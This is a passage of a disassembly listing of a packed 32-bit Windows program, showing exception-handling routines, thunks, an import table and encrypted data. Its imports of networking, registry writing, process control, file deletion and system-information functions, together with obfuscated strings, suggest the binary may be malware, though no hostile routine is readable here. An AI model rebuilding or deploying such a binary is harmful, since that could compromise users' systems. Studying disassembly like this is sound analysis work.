sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DDA0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: MEW:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: MEW:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: MEW:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: MEW:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: MEW:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: MEW:00416822r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: MEW:00416899r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: MEW:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: MEW:004169F2r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	MEW:004167F6o
		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; MEW:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: MEW:off_41DDB0o
					; MEW:off_41DDD0o
off_4172C0	dd offset off_41DDB0	; DATA XREF: MEW:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: MEW:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: MEW:004172B0o
		dd offset off_41DDB0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DDD0	; DATA XREF: MEW:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: MEW:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: MEW:004172B8o
		dd offset off_41DDD0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	MEW:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDB0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: MEW:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 1757Ch, 2 dup(0)
		dd 17876h, 17114h, 1765Ch, 2 dup(0)
		dd 1788Eh, 171F4h, 17498h, 2 dup(0)
		dd 17C70h, 17030h, 17640h, 2 dup(0)
		dd 17CE6h, 171D8h, 17468h, 2 dup(0)
		dd 17DBAh, 17000h, 17638h, 2 dup(0)
		dd 17DD8h, 171D0h, 17630h, 2 dup(0)
		dd 17E3Eh, 171C8h, 0A1h	dup(0)
		dd 74730000h, 79706372h, 0
aStrlen		db 'strlen',0
		align 4
		dd 616D0000h, 636F6C6Ch, 0
aFree		db 'free',0
		align 10h
aMemcpy		db 'memcpy',0
		align 4
		dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h
		dd 6B636Fh, 656D0000h, 7465736Dh, 0
aStrcat		db 'strcat',0
		align 4
		dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0
aFclose		db 'fclose',0
		align 4
		dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h
		dd 74610000h, 696Fh, 73730000h,	666E6163h, 0
aStrstr		db 'strstr',0
		align 4
		dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h
		dd 70h,	6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h
		dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h
		dd 656C646Eh, 3372h, 625F0000h,	6E696765h, 65726874h, 78656461h
		dd 0
aVsprintf	db 'vsprintf',0
		align 4
a??3@yaxpax@z	db '??3@YAXPAX@Z',0
		align 4
a??2@yapaxi@z	db '??2@YAPAXI@Z',0
		align 4
aPrintf		db 'printf',0
		align 4
		dd 74730000h, 706D6372h, 0
aTolower	db 'tolower',0
		dd 656D0000h, 706D636Dh, 0
a_vsnprintf	db '_vsnprintf',0
		align 4
		dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh
		dd 65h,	78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h
		dd 54524356h, 6C6C642Eh, 0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
aDeletefilea	db 'DeleteFileA',0
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aClosehandle	db 'CloseHandle',0
		dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h
		dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h
		dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	65470000h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h
		dd 65746165h, 636F7250h, 41737365h, 0
aDuplicatehandl	db 'DuplicateHandle',0
		dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h
		dd 72430000h, 65746165h, 65706950h, 0
aSearchpatha	db 'SearchPathA',0
		dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h
		dd 72724574h, 726Fh, 6F430000h,	69467970h, 41656Ch, 78450000h
		dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h
		dd 7373h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 65470000h
		dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h
		dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h
		dd 65h,	61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h
		dd 416Eh, 65530000h, 72754374h,	746E6572h, 65726944h, 726F7463h
		dd 4179h, 65470000h, 636F4C74h,	49656C61h, 416F666Eh, 0
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetcomputernam	db 'GetComputerNameA',0
		align 4
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h
		dd 41h,	44746547h, 65766972h, 65707954h, 41h, 54746547h
		dd 436B6369h, 746E756Fh, 0
aQueryperforman	db 'QueryPerformanceFrequency',0
		align 4
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h
		dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah
		dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h
		dd 61636974h, 6365536Ch, 6E6F6974h, 0
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aCreatethread	db 'CreateThread',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0
aLstrcmpa	db 'lstrcmpA',0
		align 10h
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h
		dd 4179h, 72430000h, 65746165h,	6574754Dh, 4178h, 65530000h
		dd 72724574h, 6F4D726Fh, 6564h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 0
aWsprintfa	db 'wsprintfA',0
		align 4
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		dd 77h,	646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh
		dd 67617373h, 4165h, 73490000h,	72616843h, 68706C41h, 6D754E61h
		dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h
		dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h
		dd 4E726573h, 41656D61h, 0
aCryptreleaseco	db 'CryptReleaseContext',0
		dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h
		dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h
		dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h
		dd 45776F72h, 70656378h, 6E6F6974h, 0
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 4
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 4
		dd 6Dh dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h
					; DATA XREF: MEW:0041800Co
		dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0)
dword_418040	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h
					; DATA XREF: MEW:00418008o
		dd 0C9CFh, 0
dword_41805C	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: MEW:00418004o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0
dword_418098	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: MEW:off_418000o
